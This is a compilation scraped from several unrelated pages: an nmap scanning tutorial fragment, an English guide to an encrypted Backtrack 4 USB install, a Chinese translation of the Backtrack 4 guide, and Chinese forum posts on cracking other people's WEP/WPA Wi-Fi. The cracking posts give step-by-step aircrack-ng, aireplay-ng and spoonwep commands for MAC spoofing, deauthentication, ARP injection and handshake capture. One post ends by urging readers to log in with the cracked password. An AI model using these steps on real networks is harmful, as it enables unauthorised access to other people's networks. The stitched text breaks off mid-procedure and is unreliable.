设置在两次探测之间,nmap必须等待的时间。这个选项主要用于降低网络的负载。

4.目标设定

在nmap的所有参数中,只有目标参数是必须给出的。其最简单的形式是在命令行直接输入一个主机名或者一个IP地址。如果你希望扫描某个IP地址的一个子网,你可以在主机名或者IP地址的后面加上/掩码。掩码在0(扫描整个网络)到 32(只扫描这个主机)。使用/24扫描C类地址,/16扫描B类地址。

除此之外,nmap还有更加强大的表示方式让你更加灵活地指定IP地址。例如,如果 要扫描这个B类网络128.210.*.*,你可以使用下面三种方式来指定这些地址:128.210.*.*、128.21-.0-255.0-255或 者128.210.0.0/16这三种形式是等价的。(五)扫描实例

1.扫描主机端口。

使用“nmap -v xxx.com”扫描主机XXX.com的所有TCP端口。-v打开冗余模式。如图6所示。

1

图6 扫描XXX站点TCP开放状况

2.扫描主机XXX.com的所有TCP端口

使用“nmap -v -A xxx.com” 命令扫描目标的操作系统、开放端口以及路由等相关信息,如图7所示。

1

图7显示扫描目标的操作系统的开放端口以及路由等相关信息

3.扫描指定网段制定端口

使用“nmap -sX -p 22,53,80, 192.168.*.1-255”命令 扫描192.168网段是否开启了22.53,80端口如图7所示。

1

图7扫描特定网段的制定端口开放情况

工具无所谓好坏,这正如刀无所谓善恶.而在于人,这也正是我写这篇文章的初衷,只是简单的介绍了一下nmap这个扫描工具的一些功能,然用它来干什么完全在乎于你!

http://www.myhack58.com/Article/48/66/2009/23659.htm

Backtrack 4 – Bootable USB Thumb Drive with “Full” Disk Encryption

UPDATE: With the release of Backtrack R1, there are a couple of changes to the how-to, the boot partition needs to be just a bit bigger, commenter said 120 MB works, and we now need at least a 16GB thumb drive. After install, we are left with very little space left if we use an 8GB drive.

This is a step-by-step guide showing how to create a encrypted bootable Backtrack 4 USB thumb drive.

Before we get started, here are a few housekeeping items:

  • There is a PDF version of this article available here. (The PDF is out of date)
  • I also made a video of the process. It is here. (The video is a bit out of date too)
  • Finally, if you want to be notified of updates to this page, subscribe to my RSS feed here.

I put quotes around full in the title because technically the whole disk isn’t encrypted. We use LVM and the native encryption routines included in Ubuntu 8.10 to encrypt all partitions except for a small boot partition that never contains any data.

This is a fairly involved process, but I have done my best to document each detail. Please let me know if I missed anything or you have any questions. I can be reached via the contact form on the ‘About’ page of this website or via the comments below.

I strongly recommend you read through this guide at least once before starting. I will be making a PDF available in the near future.

As in all my how-tos, user entered text is bold and comments are preceded by a # sign and generally not part of the output of a command.

Finally, a couple of posts from the Ubuntu Community Documentation site were instrumental in getting this working.

https://help.ubuntu.com/community/EncryptedFilesystemOnIntrepid

https://help.ubuntu.com/community/EncryptedFilesystemLVMHowto

WARNING: Before you start, please be aware that you can cause the system you are using to build this with to not boot correctly. During the install process below there is a warning about indicating where you want the boot loader to be installed. Be very careful at this point.

First we are going to need some stuff.

Tools and Supplies

  1. A USB thumbdrive for the install – minimum capacity 8GB for Backtrack Final or 16GB for Backtrack R1
  2. A Backtrack 4 DVD or an additional USB thumbdrive  (minimum 2GB, must be Backtrack 4)
  3. Optional: UNetbootin – A tool to transfer an iso image to a USB drive.
  4. Working internet connection once Backtrack 4 is booted.

Let’s get started!

Let’s grab a copy of the Backtrack 4 Pre Release ISO.

Description: Image Download
Name:: bt4-final.iso
Size: 1570 MB
MD5: af139d2a085978618dc53cabc67b9269
Download Backtrack

If you want to use the Backtrack 4 R1 release, get it from here:

BackTrack 4 R1 Release ISO

Last Update: 08.05.2010
Name:: bt4-r1.iso Size: 2000 MB
MD5: f393714a97862398ec2eaba1a5157784

Download Backtrack

Now that we have the goods in hand, we can get to cooking. This tutorial is based on booting Backtrack 4 first. This means that you need some form of bootable Backtrack 4 media. This can be a virtual machine, DVD, or USB drive. Use your favorite method of creating a DVD or USB drive or you can use UNetBootin to create the thumb drive.  Below is a screenshot of using UnetBootin to install Backtrack 4 on a USB drive.

Installing Backtrack 4 with UnetBootin

It is as simple as selecting the image we want to write to the USB drive, the drive to write it to, and then clicking the ‘OK’ button. Warning: Make sure you pick the correct destination drive. You don’t want to shoot yourself in the foot. :)

Partitioning

The first step is the physical partitioning of the drive.

Boot up Backtrack 4 from your DVD or USB drive. We will need both networking and the graphical interface running. The following commands will get us there.

/etc/init.d/networking start
startx

We will also need to figure out which drive is our target drive.  The following command will show the drives available and you can determine from that which is the new USB drive. Open a terminal windows and execute the following.

dmesg | egrep hd.\|sd.

We need to physically partition the target drive as follows:

  1. The first partition needs to be a primary partition, 120 MB in size set to type ext3. Also remember to make this partition active when you are creating it. Otherwise you might have some boot problems.
  2. The rest of the drive should be configured as an extended partition and then a logical partition created on top of it.

Below are the steps to take to get the drive partitioned.  A ‘# blah blah’ indicates a comment and is not part of the command and user typed commands are bolded. One note, we will need to delete any existing partitions on the drive. Final note, the cylinder numbers below are specific to my test machines/thumb drives, yours may be different.

fdisk /dev/sdb # use the appropriate drive letter for your system

# delete existing partitions. There may be more than one.

Command (m for help): d
Partition number (1-4): 1

# create the first partition

Command (m for help): n
Command action
e   extended
p   primary partition (1-4)
p
Partition number (1-4): 1
First cylinder (1-1044, default 1): <enter>
Using default value 1
Last cylinder, +cylinders or +size{K,M,G} (1-1044, default 1044): +120M

#create the extended partition

Command (m for help): n
Command action
e   extended
p   primary partition (1-4)
e
Partition number (1-4): 2
First cylinder (15-1044, default 15): <enter>
Using default value 15
Last cylinder, +cylinders or +size{K,M,G} (15-1044, default 1044): <enter>
Using default value 1044

# Create the logical partition.

Command (m for help): n
Command action
l    logical (5 or over)
p   primary partition (1-4)
l
First cylinder (15-1044, default 15): <enter>
Using default value 15
Last cylinder, +cylinders or +size{K,M,G} (15-1044, default 1044): <enter>
Using default value 1044

# Setting the partition type for the first partition to ext3

Command (m for help): t
Partition number (1-4): 1
Hex code (type L to list codes): 83

# Setting the first partition active

Command (m for help): a
Partition number (1-4): 1

Command (m for help): w

It is now time to get a couple additional packages installed that we need for LVM and encryption. First we need to update the local repositories and then install lvm2 and hashalot. Output has been ommitted.

apt-get update
apt-get install hashalot lvm2

Our next step is to enable encryption on the logical partition we created above and make it available for use.

Before we do that though, there is an optional step we can take if we want to make sure no one can tell where our data is on the drive. It isn’t really necessary since anything written will be encrypted, but if we want to be thorough and make sure no one can see where our data even sits on the drive, we can fill the logical partition with random data before enabling encryption on it. This will take some time, as much as a couple hours or more. Execute the following command:

dd if=/dev/urandom of=/dev/sdb5

The following commands will setup encryption services for the partition and open it for use. There are several ciphers that can be used, but the one indicated in the command is supposed to be the most secure and quickest for Ubuntu 8.10. Please note that the case of the command luksFormat is required.

cryptsetup -y –cipher aes-xts-plain –key-size 512 luksFormat /dev/sdb5

WARNING!
========
This will overwrite data on /dev/sdb5 irrevocably.

Are you sure? (Type uppercase yes): YES
Enter LUKS passphrase: (enter passphrase) [type passphrase]
Verify passphrase: (repeat passphrase) [type passphase]
Command successful.

cryptsetup  luksOpen /dev/sdb5 pvcrypt
Enter LUKS passphrase: [type passphrase]
key slot 0 unlocked.
Command successful.

Now that that’s all done, we can create our root and swap partitions using LVM. Again, the commands below will do so. 7.3 GB was the largest I could make my root partition. Play around with it a little and you may be able to make it a bit larger or you may have to make it a bit smaller.

pvcreate /dev/mapper/pvcrypt
Physical "volume /dev/mapper/pvcrypt" successfully created
vgcreate vg /dev/mapper/pvcrypt
Volume group "vg" successfully created
lvcreate -n swap -L 512M vg
/dev/cdrom3: open failed: Read-only file system. # this is normal
Logical volume "swap" created.
lvcreate -n root -l 100%FREE vg
/dev/cdrom3: open failed: Read-only file system. # this is normal
Logical volume "root" created.

The final step is to format the logical volumes we just created. I have not included the output below for brevity’s sake.

mkswap /dev/mapper/vg-swap
mkfs.ext3 /dev/mapper/vg-root

Believe it or not, we are finally ready to start installing Backtrack. To do, click on the install.sh icon on the desktop. This will start the graphical installer.

WARNING: You must click on the advanced tab on the next page and select your USB drive as the target for installing the bootloader. You will break your system if you do not.

We have now installed the main distribution to our thumb drive. The next step is to configure the newly installed system to use LVM and open the encrypted partition.

However, before we do that we need to figure out the UUID of our encrypted volume. We want to do this so that we don’t run into problems if the device name of the drive changes from machine to machine. The command vol_id will give us the information we need. So execute vol_id as below.

vol_id /dev/sdb5
ID_FS_USAGE=crypto
ID_FS_TYPE=crypto_LUKS
ID_FS_VERSION=2
ID_FS_UUID=09330b5a-5659-4efd-8e9d-0abc404c5162
ID_FS_UUID_ENC=09330b5a-5659-4efd-8e9d-0abc404c5162
ID_FS_LABEL=
ID_FS_LABEL_ENC=
ID_FS_LABEL_SAFE=

Make a note of the ID_FS_UUID value which is in italics above. We will need it later. Note: your output will be different than mine.

Now time to configure our newly installed system. The first thing we have to do is make the newly installed system active so we can make changes to it. We do that by mounting the partitions and chrooting to it.

mkdir /mnt/backtrack4
mount /dev/mapper/vg-root /mnt/backtrack4
mount /dev/sdb1 /mnt/backtrack4/boot
chroot /mnt/backtrack4
mount -t proc proc /proc
mount -t sysfs sys /sys

To make everything truly operational, we can mount /dev/pts, but every time I try I have problems unless I reboot first. That is a real pain, so I just don’t mount /dev/pts. We will get a couple warnings/errors as we go along, but they do not affect our install.

The magic to making all this work is to rebuild the initrd image that is used to boot our system. We need to include some things, load some modules, and tell it to open the encrypted volume, but first we have to go through the whole process of installing software again. We have to do this because we are essentially right back where we started when we booted the live cd. Do the following again.

apt-get update
apt-get install hashalot lvm2

The next step is to configure how initramfs-tools will create our initrd file. We do this by added two scripts and editing the modules file. I have added the text of the scripts here, but also provided a command that will grab them from my website.

The first script we need to create is /etc/initramfs-tools/hooks/pvcrypt. This script will copy the needed files for the initrd image. Executing the following will get the script where it needs to be.

cd /etc/initramfs-tools/hooks
wget -O pvcrypt http://www.infosecramblings.com/hooks-pvcrypt

The contents of the script should look like this.

PREREQ=""

prereqs()
{
   echo "$PREREQ"
}

case $1 in
prereqs)
  prereqs
  exit 0
  ;;
esac

if [ ! -x /sbin/cryptsetup ]; then
  exit 0
fi

. /usr/share/initramfs-tools/hook-functions

mkdir -p ${DESTDIR}/etc/console-setup
cp /etc/console-setup/boottime.kmap.gz ${DESTDIR}/etc/console
copy_exec /bin/loadkeys /bin
copy_exec /bin/chvt /bin
copy_exec /sbin/cryptsetup /sbin
copy_exec /sbin/vol_id /sbin

The next script we need to create is /etc/initramfs-tools/scripts/local-top/pvcrypt. This script tells the system to open the encrypted volume and requests the passphrase. Executing the following will get the script where it needs to be.

cd /etc/initramfs-tools/scripts/local-top

wget -O pvcrypt http://www.infosecramblings.com/local-top-pvcrypt

Unlike the first script, you will need to edit this script to point to your encrypted volume. This is where the UUID we found earlier comes in. Replace the word UUID with the value you noted above.

PREREQ="udev"

prereqs()
{
        echo "$PREREQ"
}

case $1 in
# get pre-requisites
prereqs)
        prereqs
        exit 0
        ;;
esac

/bin/loadkeys -q /etc/console-setup/boottime.kmap.gz
modprobe -Qb dm_crypt
modprobe -Qb sha256
modprobe -Qb aes_i586
modprobe -Qb xts

# The following command will ensure that the kernel is aware of
# the partition before we attempt to open it with cryptsetup.
/sbin/udevadm settle

sleep 10

if grep -q splash /proc/cmdline; then
    /bin/chvt 1
fi
/sbin/cryptsetup luksOpen /dev/disk/by-uuid/UUID pvcrypt

Both scripts need to be executable.

chmod +x /etc/initramfs-tools/hooks/pvcrypt

chmod +x /etc/initramfs-tools/scripts/local-top/pvcrypt

The final change we need to make before rebuilding initrd is to edit the /etc/initramfs-tools/modules file and add a couple encryption modules. This will make sure they are copied into the initrd image. We can do this one of two ways. We can use our favorite editor and add the following lines to the bottom of the file and save it.

aes_i586

xts

or use a wget command like above.

cd /etc/initramfs-tools

wget -O modules http://www.infosecramblings.com/initramfs-modules

Either way, your /etc/initramfs-tools/modules file should look like this:

# List of modules that you want to include in your initramfs.
#
# Syntax:  module_name [args ...]
#
# You must run update-initramfs(8) to effect this change.
#
# Examples:
#
# raid1
# sd_mod
fbcon
vesafb
aes_i586
xts

Now it’s time to rebuild our initrd image.

update-initramfs -u

If all goes well, you are now ready to cross your fingers and reboot. The system will start to boot then ask you for your LUKS passphrase. Type that bad boy in and, if all goes well, your system will boot.

If, however, you run into any problems, you don’t have to start over. As long as your encrypted volume is built correctly and you have the correct LUKS passphrase, you can get back to the place you were with the Live CD. Simply boot with the original Live CD/USB drive and enter the following.

/etc/init.d/networking start

apt-get update

apt-get instal hashalot lvm2

cryptsetup luksOpen /dev/[your logical partition] pvcrypt

mkdir /mnt/backtrack4

mount /dev/mapper/vg-root /mnt/backtrack4

mount /dev/[boot partition] /mnt/backtrack4/boot

chroot /mnt/backtrack4

mount -t proc proc /proc

mount -t sysfs sys /sys

mount -t devpts devpts /dev/pts

You can now do any trouble shooting you need to do and try to reboot again. One note, if you want to check the UUID of your partition, do it before you chroot.

Once you have a booting system, you are ready to login. The default userid is root and the default password is toor. You are now ready to login and being playing. Don’t forget to change the root password as soon as you login the first time.

That’s it. You can make some final tweaks if you want like setting the network to start automatically and starting KDE at boot, but for all intents and purposes you have successfully installed Backtrack 4 to USB drive and don’t have to worry about sensitive information being intercepted if it gets lost of stolen.

Good luck!

-Kevin

Creative Commons License

Backtrack 4 – Bootable USB Thumb Drive with “Full” Disk Encryption by Kevin Riggins is licensed under a Creative Commons Attribution-Noncommercial-Share Alike 3.0 United States License.

Permissions beyond the scope of this license may be available at http://www.infosecramblings.com/about/.

 

http://www.infosecramblings.com/backtrack/backtrack-4-bootable-usb-thumb-drive-with-full-disk-encryption/

个人切实的经验:bt4-pre-final下用spoonwep+spoonwpa破解wep或wpa加密的无…

一、首先下载这三个工具:

1、BT4正式版:

下载地址:http://ftp.heanet.ie/mirrors/backtrack/bt4-pre-final.iso

2、U盘启动制作工具:unetbootin-windows-356

下载地址:http://www.atuonce.cn/blog/attachments/month_0906/t2009621225526.rar

3、spoonwep-wpa破解工具用于BT4下的deb安装包

迅雷下载地址:(已经修正下载地址, 打开迅雷, 然后复制以下地址即可)thunder://QUFodHRwOi8vbXkueHd0b3AuY29tL2ZpbGVteS8yMDA5MDUxNy82NzljMTNkMi4xLmRlYlpa

二、运行unetbootin制作BT4的U盘启动系统。

点确定就开始制作了。
在这里需要泡杯茶点支烟等一下。
从ISO文件里提取文件拷贝到U盘里需要一段时间。

完成之后,不要重启, 再把刚刚下到的“spoonwep-wpa破解工具用于BT4下的deb安装包”手动拷贝到U盘根目录下面, 自己记好它好的名字, 方便到BT4下找到它。

三、启动BT4

在BIOS里面设置从U盘启动, 这个无法截图, 自己摸索吧。呵呵~~

四、进入BT4

登陆的用户名:root,密码:toor
startx命令启动图形化界面。

五、安装spoonwep-wpa-rc3.deb包

点击左下角的开始菜单,点击一个叫system mune的弹出菜单,再点击“storeage media”,会打开一个窗口,点击窗口上面有个刷新的按钮,在窗口下面空白的地方会列出你的硬盘和外设,进入U盘,找到刚才放入的spoonwep-wpa-rc3.deb,把这个文件复制到BT4的桌面(其实就是/root),可以直接拖到桌面,打开命令行窗口

运行“dpkg -i spoonwep-wpa-rc3.deb”

稍等几秒中,桌面上出现desktop的文件夹,里面就有了spoonwep2+spoonwpa,好了,大功告成,直接单击图标就能运行spoonwep2或spoonwpa了。

也可以输入以下命令执行:
spoonwep2 执行:
spoonwep2

spoonwpa 执行:
spoonwpa

六、开始破解!!!!

【spoonwep2 破解法】

输入spoonwep2回车后就会弹出spoonwep2的窗口。
点击SPOONWEP SETTINGS,在NET CARD里选WLAN0,在DRIVER里选NORMAL,在MODE里选UNKNOWN VICTIM,再点击NEXT、点击LAUNCH进入搜索,然后关闭spoonwep2再开一下,点击SPOONWEP SETTINGS,在NET CARD里选MON0,在DRIVER里选NORMAL,在MODE里选UNKNOWN VICTIM,再点击NEXT、点击LAUNCH进入搜索后就可以看见好多网卡啦,选定1个网卡点击SELECTION OK,选定PO841 REPLAY ATTACK(这里有4条命令选择),点击LAUNCH后就等待密码的出来(sata数据包到30000个左右)。

【spoonwpa 破解法】

输入spoonwpa回车后就会弹出spoonwpa的窗口。
在NET CARD里选WLAN0,在DRIVER里选NORMAL,在MODE里选UNKNOWN VICTIM,再点击NEXT、点击LAUNCH进入搜索,然后关闭spoonwpa再开一下,点击SPOONWEP SETTINGS,在NET CARD里选MON0,在DRIVER里选NORMAL,在MODE里选UNKNOWN VICTIM,再点击NEXT、点击LAUNCH进入搜索后就可以看见好多网卡啦,选定1个必须有客户端的网卡点击SELECTION OK, 再点击LAUNCH AUTOMATED HANDSHAKE CAPTURE,如抓到握手包,请点击金色锁开始破解,这完全靠运气了。

七、用你破解出来的密码去登陆吧

纯属个人原创, 转发请标明来源网址,有什么问题欢迎留言, 我会及时解答, 谢谢!

来自: http://hi.baidu.com/jiong0818/blog/item/6af90aedba23d84678f05537.html

BackTrack4 Pre Final 无线破解(Linux)下载+BackTrack4 官方指南

BackTrack4 Pre Final

BackTrack4 最终版 1.3G

可用下载地址:

http://mirror.switch.ch/ftp/mirror/backtrack/bt4-pre-final.iso

http://www.remote-exploit.org/cgi-bin/fileget?version=bt4-prefinal-iso

官方网站:

http://www.remote-exploit.org 

由BT4 pre-final的官方英文指南BackTracK pdf 翻译而来,水平有限,某些术语翻译不尽准确。
了解详情及下载BT4 pre-final(1.3G)请到
http://www.offensive-security.com/blog/backtrack/backtrack-pre-final-public-release-and-download/
BackTrack4 官方指南
简介
Backtrack 是处于世界领先地位的渗透测试和信息安全审计发行版本。有着上百种预先安装好的工具软件,并确定能够
完美运行,Backtrack4 提供了一个强大的渗透测试平台–从Web hack的应用程序到RFID 审查,都可由Backtrack来完成。
内幕
BackTrack 的基础
BT4 引入了许多显著的变化,基于Ubuntu Intrepid。现在开始使用我们自己修改了的Ubuntu软件包和渗透测试工具软件来
维护我们自己全部的软件仓库。
另外一个显著的变化是更新linux 核心版本到2.6.29.4.这个新核心带来了一整套系统内在的变化,使得极大地改变了BackTrack
的架构。
Backtrack 的核心
不再使用lzma格式的squashfs作为live cd的文件系统,从而导致了一个更大容量的ISO文件。但从另外一个方面来看,这也使得我们
不用维护我们自己的核心补丁问题。目前这是很痛苦的,因为squashfs融入主流核心的速度十分缓慢。
BT4使用了squashfs-tools version 4.0,内建的squashfs核心模块(2.6.29.4),和旧版本不兼容。使用了AUFS格式作为
统一文件系统 (unification filesystem)。
核心已经安装了几个无线驱动的注入和优化补丁,并且打了bootsplash 补丁,这些补丁都能在核心源码包中找到。(/usr/src/linux/patches)
这些变化意味着以前很多在BT2/BT3中使用的方法已经不再有效,比如启动时的cheatcodes参数。
由于核心的转移也意味着不再使用live-linux脚本来生成iso文件,现在我们使用casper.
软件包和软件仓库
BT4中一个最大的变化就是使用了软件仓库,可以经常更新安全补丁和工具,类似Debian。意味着如果你选择把BT4安装到硬盘,
你就可以通过apt-get命令,维护和更新你的软件包。
BT4工具软件有以下几个大类:
BackTrack-Enumeration
BackTrack-Tunneling
BackTrack-Bruteforce
BackTrack-Spoofing
BackTrack-Passwords
BackTrack-Wireless
BackTrack-Discovery
BackTrack-Cisco
BackTrack-Web Applicaitons
BackTrack-Forensics
BackTrack-Fuzzers
BackTrack-Bluetooth
BackTrack-Misc
BackTrack-Sniffers
BackTrack-VOIP
BackTrack-Debuggers
BackTrack-Penetration
BackTrack-Database
BackTrack-RFID
BackTrack-Python
BackTrack-Drivers
BackTrack-GPU
Meta packages
工具软件的分类有一个很好的特点,就是我们可以支持“BackTrack meta packages”. 一个Meta 软件包是一个虚设的软件包,
可以包含其他的几个软件包。比如,meta软件包“backtrack-web” 可以包括BT4提供的所有Web渗透测试工具应用软件。
Meta Meta 软件包
有两个meta meta packages: backtrack-world 和backtrack-desktop
backtrack-world 包含了所有的BackTrack meta软件包
backtrack-desktop包含了backtrack-world,backtrack-networking 和backtrack-mulimedia.后面的两个meta软件包从Ubuntu
引入的。
Up and running with BackTrack
我们制作了名为“Up and running with BackTrack”的短片,展示了一般和不一般的特点。
下面是个很好的地方,可以了解BT4中的新变化:
http://www.offensive-security.com/videos/backtrack-security-training-video/up-and-running-backtrack.html
安装BT4到硬盘
BT4(基础框架版和全版本)包含了一个修改了的Ubiquity installer.这种安装是非常简单易懂的。请看这里的视频教程:
http://www.offensive-security.com/videos/install-backtrack-hard-disk/install-backtrack-hard-disk.html
更新BT4
使用apt-get命令来更新BT4是比较简单的
apt-get update 同步更新软件包列表
apt-get upgrade 下载和安装所有可用的更新
apt-get dist-upgrade 下载和安装所有的升级更新
定制BT4
制作你自己的Live CD
方法1
制作你自己喜欢的BT4是很简单的.
1.下载并安装BT4的基础核心架构版本
2.用apt-get安装需要的软件包
3.用remmastersys重新打包你的安装
方法2
下载BT4的iso文件,使用定制脚本来更新和修改,参看下面地址:
http://www.offensive-security.com/blog/backtrack/custominsing-backtrack-live-cd-the-easy-way/
安装BT4到U盘
最简单安装BT4到U盘的方法就是用unetbootin 工具软件。(在BT4 的/opt/目录下)
安装BT4到U盘 -保存数据
视频教程看这里:
http://www.offensive-security.com/videos/backtrack-usb-install-video/backtrack-usb-install.html
运行BT4
KDE3 特别用法
BT4 包含了“强加的”KDE3,和KDE4 Ubuntu Intrepid库同存。BT4使用KDE3,牢记KDE3包都有“kde3”的后缀,可以和KDE4区分。
比如,你想安装KDE中的kate文本编辑器,你必须apt-get install kate-kde3(安装KDE3版本中的kate),
而不是apt-get kate(安装KDE4版本中的kate).
人工更新工具
BT4软件仓库会极力保持更新最新版本的工具软件,但有极少的部分例外。这些“特殊的”软件由他们的作者经常更新,有些还包括
显著的更新。我们感到对这些类型的工具制作静态的二进制文件是无益的,这些软件的使用者最好使用SVN来同步更新。这些工具包括
MSF,W2AF,Nikto等。
FAQS
-Ubiquity Installer给出了个错误“Language failed with exit code 10”,为什么?
-无视它。相信我。
-为什么BT4的iso文件那么大?以前版本只有一半大小?
-以前很长一段时间我们尽力把BT保持在700MB。但这太具有挑战性,也是苦不堪言。我们决定打破这个限制,基于下面原因:
1.我们不再使用LZMA压缩的squashfs,这使得映像文件的尺寸大大增加。
2.CD光盘不再是在live环境中运行BT4的理想媒介,U盘更快也更可靠。
-为什么这个版本称为“pre-release”?还不够稳定吗?
-这是最强健的BackTrack版本。说到这儿,有些bugs很难明确找到。当运行atheros网卡40小时后我们才注意到无线帧的崩溃,
原因在于一个有缺陷的补丁。不可能去测试每个驱动和每个硬件的运行情况。这就是我们需要你的加入的原因(在论坛上)。
-为什么要基于Ubuntu?
-请看blog的帖子
http://backtrack4.blogspot.com/2009/01/philosophical-thoughts-about-backtrack.html
-我已经安装BT4到硬盘,如何登录?
-使用在安装过程建立的用户名/密码登录,登录后,sudo su,更新root的密码。参看这个视频:
http://www.offensive-security.com/videos/backtrack-security-training-video/up-and-running-backtrack.html
结束语
你可以在这里找到我们的论坛:http://forums.remote-exploit.org
请尽管发帖报告bug,建议,要求的工具软件等等。
希望你能喜欢这个优秀的发行版本!

Remote Exploit Team

其它资料:
集成spoonwep2与spoonwpa光盘版BT4及破.解方法

我用bt4-beta光盘版破.解方法与命令,那里不对请各位高手给予指点及修改。我的显卡NVIDIA GeForce 9300M GS,我的网卡是Intel (R) WiFi Link 5100 AGN,先将网卡的驱动软件升级到12.2.0.11这版本(其他版本我个人试过多不行),下载了bt4-beta,下载了spoonwep2(下载后解压),下载了SWPA(下载后解压),用雨林木风的UltraISO 8.66软件编辑spoonwep.lzm及SWPA.lzm这2个文件到bt4-beta下的modules目录中,然后用nero7.5.9.0软件将保存好的镜像刻录成DVD光盘,一张完美的光盘版bt4-beta做好啦。
光盘启动,用户名:root回车、密码:toor(一般多不会显示)回车、startx回车后就进入图形界面(显卡支持的话)。
     3条命令破.解法:
先开一个窗口输入第一条:aireplay-ng -9 wlan0回车(等待数据跳动停止)
输入第二条:airodump-ng –ivs -w sjb -c 6 wlan0回车
另开一个窗口输入第三条:aircrack-ng -n 64 -b 00:11:22:33:44:55 sjb-01.ivs回车(00:11:22:33:44:55改成实际要破.解密码的网卡,如sata数据包涨的够快,大约到15000个左右密码自动就出来啦,目前只能被动破.解密码,还没有注入成功过,如sata数据包涨的很慢,就只能开着电脑慢慢等待)
     spoonwep2破.解法:
先开一个窗口输入ln -fs bash /bin/sh回车,再输入ls -al /bin/sh回车(这个命令可以显示是否设置成功,显示bash为成功,dash为失败),如是成功的话就输入spoonwep2回车后就会弹出spoonwep2的窗口啦。点击SPOONWEP SETTINGS,在NET CARD里选WLAN0,在DRIVER里选NORMAL,在MODE里选UNKNOWN VICTIM,再点击NEXT、点击LAUNCH进入搜索,然后关闭spoonwep2再开一下,点击SPOONWEP SETTINGS,在NET CARD里选MON0,在DRIVER里选NORMAL,在MODE里选UNKNOWN VICTIM,再点击NEXT、点击LAUNCH进入搜索后就可以看见好多网卡啦,选定1个网卡点击SelectION OK,选定PO841 REPLAY ATTACK(这里有4条命令选择),点击LAUNCH后就等待密码的出来(sata数据包到30000个左右)。注:论坛中的高手说spoonwep2支持5100AGN网卡注入式破.解,我个人认为还是被动破.解或注入不是很成功吧?
     spoonwpa破.解法:
先开一个窗口输入ln -fs bash /bin/sh回车,再输入ls -al /bin/sh回车(这个命令可以显示是否设置成功,显示bash为成功,dash为失败),如是成功的话就输入spoonwpa回车后就会弹出spoonwpa的窗口啦。在NET CARD里选WLAN0,在DRIVER里选NORMAL,在MODE里选UNKNOWN VICTIM,再点击NEXT、点击LAUNCH进入搜索,然后关闭spoonwpa再开一下,点击SPOONWEP SETTINGS,在NET CARD里选MON0,在DRIVER里选NORMAL,在MODE里选UNKNOWN VICTIM,再点击NEXT、点击LAUNCH进入搜索后就可以看见好多网卡啦,选定1个必须有客户端的网卡点击SelectION OK, 再点击LAUNCH AUTOMATED HANDSHAKE CAPTURE,如抓到握手包,请点击金色锁开始破.解,这完全的靠字典啦。
感觉SWPA.lzm里面自带的字典太简单啦,字典全用完后连我自己设定的10位数字密码也破.解不了,我把路由器的密码重新设定成SWPA.lzm字典库里的密码,不出10分钟密码就出来啦,这说明spoonwpa破.解WPA密码是可行的,就是所破的密码字典库里必须也有才能破.解。
我用字典生成器生成字典,想把新生成的字典加载到SWPA.lzm里面,然后再刻录成DVD光盘来使用,就不知怎么把字典加到SWPA.lzm里面,或在BT4下用什么命令来加载硬盘里的字典,论坛里的各位高手帮帮忙,我十万分的感谢!谢绝其他办法
一些命令
用户名 root
密码 toor
进图形 startx
BT4有自带的工具networkmanager,不过缺省没有启用
命令 /etc/init.d/NetworkManager start         (注意字母大小写)
右下角的球体变绿了,鼠标点击就可以出现有线和无线网络配置菜单,设置好即可上网

使用破解方法二

http://www.remote-exploit.org/backtrack_download.html

1.下载光盘版BT4VM版和虚拟机,制作虚拟启动BT4。VM版的BT4可 能都集成网卡无用,但对USB网卡支持很好。

2.启动BT4,选console控制台模式,用户名root,密码toor<注意不是root>,再运行startx启动窗口模式。
另:BT4启动黑屏问题解决办法
输入root toor 登录系统后在输入 fixvesa 然后 startx如果不行就输入 fixvmware,然后输入startx.还是不能就输入Xorg -configure 然后startx

我的笔记本是三星R458的,启动BT4,startx时按住空格可以进入.。
在输入用户名root 和密码toor 以后输入xconf 这时会黑屏一会,然后出来提示符再输入startx 可进入
win窗口;当实在不能进入win窗口的时候你也可以直接在提示符下输入各破解命令,同时可用alt+f1 打开
一个shell,alt+f2 打开第二个shell,alt+f3 打开第三个等。关闭窗口用PRINT SCREEN 键
———————end———————

[] 可选
<> 回显
/ 或者
() 提示

———————WEP———————
shell 1:—————————————-
1.ifconfig -a
<wlan0 … xx:xx:xx:xx:xx:xx>
[
macchanger -m 00:11:22:33:44:55 wlan0
<修改自己网卡的MAC 地址。当对方设置了MAC 地址过滤时或为了方便后面输入>
]
2.ifconfig -a wlan0 up
(可能要加载网卡才支持注入?)
3.airmon-ng start wlan0 6
<monitor mode enabled on mon0>
(6是频道)
另一说5100要支持注入用airmon-ng start wlan0
如果这里回显<(monitor mode enabled)> 则下面命令所有端口号要用"wlan0"
[
aireplay-ng -9 mon0 / aireplay-ng --test mon0
<Injection is working/No anwser>(注入攻击成功/不成功)
(检测你的网卡是否支持注入)
]
4.airodump-ng -w pack -c 6 mon0/wlan0
(pack是随便起的获取的ivs的保存文件的名字)
另一说用airodump-ng –ivs -w pack -c 6 mon0/wlan0

shell 2:—————————————-
一、有客户端:
破解:abcd四种方式
a.合法客户端产生大量有效的数据,能直接获得大量cap。
收到10000以上data后,直接转shell 3,破解密码
b.合法客户端只能产生少量数据,就需要注入<-3>攻击加速产生大量数据。
5.aireplay-ng -3 -b 000000000000(APmac) -h 111111111111(合法客户端mac) mon0/wlan0(wlan0测试不行)
<Read 11542 packets <got 12587 ARP …>,send 71524 packets … 很多类似行>
c.合法客户端不在通信,注入模式不成功,
用-0 冲突模式强制断开合法客户端和ap连接,使之重新连接,
新连接所产生的握手数据让-3 获得有效的ARP从而完成ARP注入
5.aireplay-ng -3 -b 000000000000(APmac) -h 111111111111(合法客户端mac) wlan0
6.aireplay-ng -0 10 -a 000000000000(APmac) -c 111111111111(合法客户端mac) wlan0
(可能要另开窗)
d.有客户端,并且客户端能产生有效arp 数据的另类破解方式
输入modprobe –r iwl3945
(加载网卡)
输入modprobe ipwraw
输入airmon-ng start wlan0 6
现在,只要一个命令就搞定,输入:
输入wesside-ng -i wlan0 -v 01:02:03:04:05:06<此格式的APmac>。
<key: 12:34:56:78:90>

二、无客户端:
5.aireplay-ng -1 0 -a 000000000000(APmac) -h 111111111111(Mymac) mon0
(我成功了)
另一说用aireplay-ng -1 0 -e Kingnet -a (APmac) -h (Mymac) mon0/wlan0
<Authentication successful>
<Association successful>
(建立虚拟伪装连接)
如果失败可尝试降低网卡速率后再试:iwconfig mon0 rate 2M(注意大写)
破解:abcd四种方式
a.-2 crack mode —————
建立虚拟连接后直接用-2交互攻击模式集合了抓包,提数据和发包攻击
6.aireplay-ng -2 -p 0841 -c ffffffffffff -b (ap mac) -h (my mac) wlan0
